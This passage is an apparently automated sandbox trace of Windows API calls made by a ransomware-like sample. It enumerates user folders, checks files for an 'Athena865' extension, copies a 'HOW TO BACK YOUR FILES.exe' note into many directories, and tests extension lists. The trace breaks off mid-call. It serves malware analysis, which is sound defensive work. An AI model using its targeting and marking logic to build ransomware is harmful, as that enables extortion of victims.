lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xbd0990a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x80300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865", cAlternateFileName="NT1F71~1.ATH")) returned 1 [0036.033] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.033] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.033] lstrcpyW (in: lpString1=0x241e896, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865" [0036.033] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865") returned 102 [0036.033] lstrlenW (lpString="Athena865") returned 9 [0036.033] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0036.033] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xbd10b4c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x80300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865", cAlternateFileName="NTD9D3~1.ATH")) returned 1 [0036.033] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.033] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.033] lstrcpyW (in: lpString1=0x241e896, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865" [0036.033] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865") returned 102 [0036.033] lstrlenW (lpString="Athena865") returned 9 [0036.033] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0036.033] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbd17d8e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini.Athena865", cAlternateFileName="NTEBD2~1.ATH")) returned 1 [0036.033] lstrcmpiW (lpString1="ntuser.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.033] lstrcmpiW (lpString1="ntuser.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.033] lstrcpyW (in: lpString1=0x241e896, lpString2="ntuser.ini.Athena865" | out: lpString1="ntuser.ini.Athena865") returned="ntuser.ini.Athena865" [0036.033] lstrlenW (lpString="ntuser.ini.Athena865") returned 20 [0036.033] lstrlenW (lpString="Athena865") returned 9 [0036.033] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0036.033] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1a3a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0036.033] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.034] lstrcmpiW (lpString1="Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.034] lstrcpyW (in: lpString1=0x241e896, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0036.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ce10 [0036.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51b740 [0036.034] lstrcatW (in: lpString1="Pictures", lpString2="\\" | out: lpString1="Pictures\\") returned="Pictures\\" [0036.034] lstrcatW (in: lpString1="Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Pictures\\HOW TO BACK YOUR FILES.exe") returned="Pictures\\HOW TO BACK YOUR FILES.exe" [0036.034] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.034] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0036.034] lstrcmpiW (lpString1="PrintHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.034] lstrcmpiW (lpString1="PrintHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.034] lstrcpyW (in: lpString1=0x241e896, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0036.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ce28 [0036.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e190 [0036.034] lstrcatW (in: lpString1="PrintHood", lpString2="\\" | out: lpString1="PrintHood\\") returned="PrintHood\\" [0036.034] lstrcatW (in: lpString1="PrintHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PrintHood\\HOW TO BACK YOUR FILES.exe") returned="PrintHood\\HOW TO BACK YOUR FILES.exe" [0036.034] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.035] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0036.035] lstrcmpiW (lpString1="Recent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.035] lstrcmpiW (lpString1="Recent", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.035] lstrcpyW (in: lpString1=0x241e896, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0036.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ce40 [0036.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51b7a8 [0036.035] lstrcatW (in: lpString1="Recent", lpString2="\\" | out: lpString1="Recent\\") returned="Recent\\" [0036.035] lstrcatW (in: lpString1="Recent\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Recent\\HOW TO BACK YOUR FILES.exe") returned="Recent\\HOW TO BACK YOUR FILES.exe" [0036.035] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.035] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0036.035] lstrcmpiW (lpString1="Saved Games", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.035] lstrcmpiW (lpString1="Saved Games", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.035] lstrcpyW (in: lpString1=0x241e896, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0036.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ce58 [0036.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52e200 [0036.036] lstrcatW (in: lpString1="Saved Games", lpString2="\\" | out: lpString1="Saved Games\\") returned="Saved Games\\" [0036.036] lstrcatW (in: lpString1="Saved Games\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Saved Games\\HOW TO BACK YOUR FILES.exe") returned="Saved Games\\HOW TO BACK YOUR FILES.exe" [0036.036] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.036] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0036.036] lstrcmpiW (lpString1="Searches", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.036] lstrcmpiW (lpString1="Searches", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.036] lstrcpyW (in: lpString1=0x241e896, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0036.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ce70 [0036.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51b810 [0036.036] lstrcatW (in: lpString1="Searches", lpString2="\\" | out: lpString1="Searches\\") returned="Searches\\" [0036.036] lstrcatW (in: lpString1="Searches\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Searches\\HOW TO BACK YOUR FILES.exe") returned="Searches\\HOW TO BACK YOUR FILES.exe" [0036.036] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.037] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0036.037] lstrcmpiW (lpString1="SendTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.037] lstrcmpiW (lpString1="SendTo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.037] lstrcpyW (in: lpString1=0x241e896, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0036.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ce88 [0036.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51b878 [0036.037] lstrcatW (in: lpString1="SendTo", lpString2="\\" | out: lpString1="SendTo\\") returned="SendTo\\" [0036.037] lstrcatW (in: lpString1="SendTo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SendTo\\HOW TO BACK YOUR FILES.exe") returned="SendTo\\HOW TO BACK YOUR FILES.exe" [0036.037] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.037] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0036.037] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.037] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.037] lstrcpyW (in: lpString1=0x241e896, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0036.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cea0 [0036.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52e270 [0036.037] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0036.038] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0036.038] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.038] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0036.038] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.038] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.038] lstrcpyW (in: lpString1=0x241e896, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0036.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ceb8 [0036.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e2e0 [0036.038] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0036.038] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0036.038] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.039] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0036.039] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.039] lstrcmpiW (lpString1="Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.039] lstrcpyW (in: lpString1=0x241e896, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0036.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ced0 [0036.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51b8e0 [0036.039] lstrcatW (in: lpString1="Videos", lpString2="\\" | out: lpString1="Videos\\") returned="Videos\\" [0036.039] lstrcatW (in: lpString1="Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Videos\\HOW TO BACK YOUR FILES.exe") returned="Videos\\HOW TO BACK YOUR FILES.exe" [0036.039] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.039] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0036.039] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0036.040] ReleaseMutex (hMutex=0xec) returned 1 [0036.040] CloseHandle (hObject=0xec) returned 1 [0036.040] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public" | out: lpString1="C:\\Documents and Settings\\Public") returned="C:\\Documents and Settings\\Public" [0036.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517168 | out: hHeap=0x4f0000) returned 1 [0036.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c2a8 | out: hHeap=0x4f0000) returned 1 [0036.040] lstrlenW (lpString="C:\\Documents and Settings\\Public") returned 32 [0036.040] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AA8F11DF5B716A629931D50952329495") returned 0xec [0036.040] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0036.040] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public" | out: lpString1="C:\\Documents and Settings\\Public") returned="C:\\Documents and Settings\\Public" [0036.040] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0036.040] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.040] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0036.040] GetLastError () returned 0x0 [0036.040] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0036.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f508 [0036.040] ReadFile (in: hFile=0xf4, lpBuffer=0x52f508, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f508*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0036.041] CloseHandle (hObject=0xf4) returned 1 [0036.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f508 | out: hHeap=0x4f0000) returned 1 [0036.041] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0036.041] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc3a7900, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3a7900, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0036.041] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.041] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.042] lstrcpyW (in: lpString1=0x241e88a, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0036.042] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Desktop", dwFileAttributes=0x12) returned 1 [0036.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2a8 [0036.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x528c50 [0036.042] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0036.042] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0036.042] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.042] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0036.042] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.042] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.042] lstrcpyW (in: lpString1=0x241e88a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0036.043] lstrlenW (lpString="desktop.ini") returned 11 [0036.043] lstrlenW (lpString="Athena865") returned 9 [0036.043] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0036.043] lstrlenW (lpString=".dll") returned 4 [0036.043] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0036.043] lstrlenW (lpString=".lnk") returned 4 [0036.043] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0036.043] lstrlenW (lpString=".ini") returned 4 [0036.043] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0036.043] lstrlenW (lpString=".sys") returned 4 [0036.043] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0036.043] lstrlenW (lpString="desktop.ini") returned 11 [0036.043] lstrlenW (lpString="bak") returned 3 [0036.043] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0036.043] lstrlenW (lpString="ba_") returned 3 [0036.043] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0036.043] lstrlenW (lpString="dbb") returned 3 [0036.043] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0036.043] lstrlenW (lpString="vmdk") returned 4 [0036.043] lstrcmpiW (lpString1=".ini", 